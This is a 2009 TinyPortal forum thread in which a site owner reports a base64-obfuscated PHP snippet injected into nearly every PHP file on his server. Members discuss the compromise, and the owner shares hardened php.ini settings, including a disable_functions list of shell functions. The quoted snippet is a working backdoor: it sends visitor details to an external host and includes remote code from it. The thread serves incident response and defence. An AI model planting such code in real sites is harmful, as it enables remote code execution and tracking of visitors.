TP-Docs
HTML5 Icon HTML5 Icon HTML5 Icon
TP on Social Media

Recent

Welcome to TinyPortal. Please login or sign up.

Members
  • Total Members: 3,973
  • Latest: NonStop
Stats
  • Total Posts: 196,217
  • Total Topics: 21,351
  • Online today: 556
  • Online ever: 8,223 (February 19, 2025, 04:35:35 AM)
Users Online
  • Users: 1
  • Guests: 353
  • Total: 354
  • @rjen

TP Weird error reporting at the end of all php scripts?

Started by Dencur, April 22, 2009, 03:40:49 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Dencur

Hi all,

I'm not totally sure what is going on, but I thought I'd ask the pros for advice :). 

At the end of nearly, every php file on my server before the ?>, I have this:

error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdjahzzazbzcig".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdjahzzazbzcig".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);}?>

I'm almost 99% certain the TP programmers would not have made a cryptic base64 decode of a random string to create an include at the end of the file.  Something tells me I got hacked.  I wanted to confirm/deny this with you guys, or is it intended?

On that note, how in the hell would someone inject that into every php file on my server if I'm the owner, and everything is set to 644!  Is there a basic linux security issue that I'm missing?  Any idea what that code block does? 

Should I just nuke the install and start over again?

Thanks in advance for your help :).  Sorry for such an odd question.

G6Cad

never seen that before, i would ask the host if i were you.

Dencur

Thanks for the reply G6!  I'm glad that I spotted this appendage last night while updating to the latest TinyPortal.  I found this article:

http://www.webdeveloper.com/forum/archive/index.php/t-84419.html

Apparently its happening to other people.  I just wish I knew what security settings I'm missing that is allowing these people to modify my php files.

I'll contact the host to see if they have any feedback on the issue.  Appreciate the time and the fast reply!

IchBin

* IchBin predicts

Your host will blame any script you're running on your site without giving proof.


Any good host will figure out how this is happening, and will let you know the cause. As a side note, which versions of software are you running for SMF/TP.

Dencur

I'm currently running SMF 1.1.8, and TP 1.0 beta 3.

IchBin

Are you running any other software? Blog, chat, any other custom scripts?

Dencur

Appreciate the reply Ichbin :). 

I discovered that the software used the php url_fopen feature to push files and modify every php script on my site.  (not just my one domain but all of them, various smf forums, and tp implementations).  It didn't even stop there, but other php scripts I had written myself. 

My solution to this problem was to wax my entire install, and start clean, using the same sql server data.  This fixed everything with about 30 minutes of work :). 

I have made my php settings in my php.ini file much more strict now, and was wondering if you guys had some suggested settings....

safe_mode = On
safe_mode_gid = Off
open_basedir = directory[:...]
safe_mode_exec_dir = directory[:...]
expose_php = Off
register_globals = Off
display_errors = Off
log_errors = On
error_log = filename
allow_url_fopen = Off
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

This at least make it so he can't attack the SAME way again :).  I also disabled anonymous ftp (even though its root was just a random folder). 

The only thing with these PHP settings, is that my RSS feed reader in TP isn't working now ;(.  Anyone know which of the settings would have broke that?



Dencur

Seems as though its due to me disabling fopen.  This is a pretty big security risk apparently, and most hosts are turning it off.  An alternative to using fopen is this if curl is compiled into php, which most are doing now. So instead of doing file_get_contents("url") you do more like:

$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "$url");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 0);
curl_setopt ($ch, CURLOPT_USERAGENT, $_ENV['HTTP_USER_AGENT']);
$file = curl_exec($ch);
curl_close($ch); 

The file TPmodules.php - function: TPparseRSS and TPpraseRSS_TP both use fopen. 

I might try to re-write these to use curl instead.

IchBin

Its only a security risk if you have insecure software. While it may shut a door so to speak, you lose a lot of functionality as you can tell. The best thing a host should do is to use phpsuexec to keep a PHP process jailed within the home directory of the user. This keeps any PHP script from exploiting any other site other than the one its running in. THE SINGLE MOST IMPORTANT THING you can do is to find out what was being exploited so you can patch the software if it is indeed something on one of your sites.

This website is proudly hosted on Crocweb Cloud Website Hosting.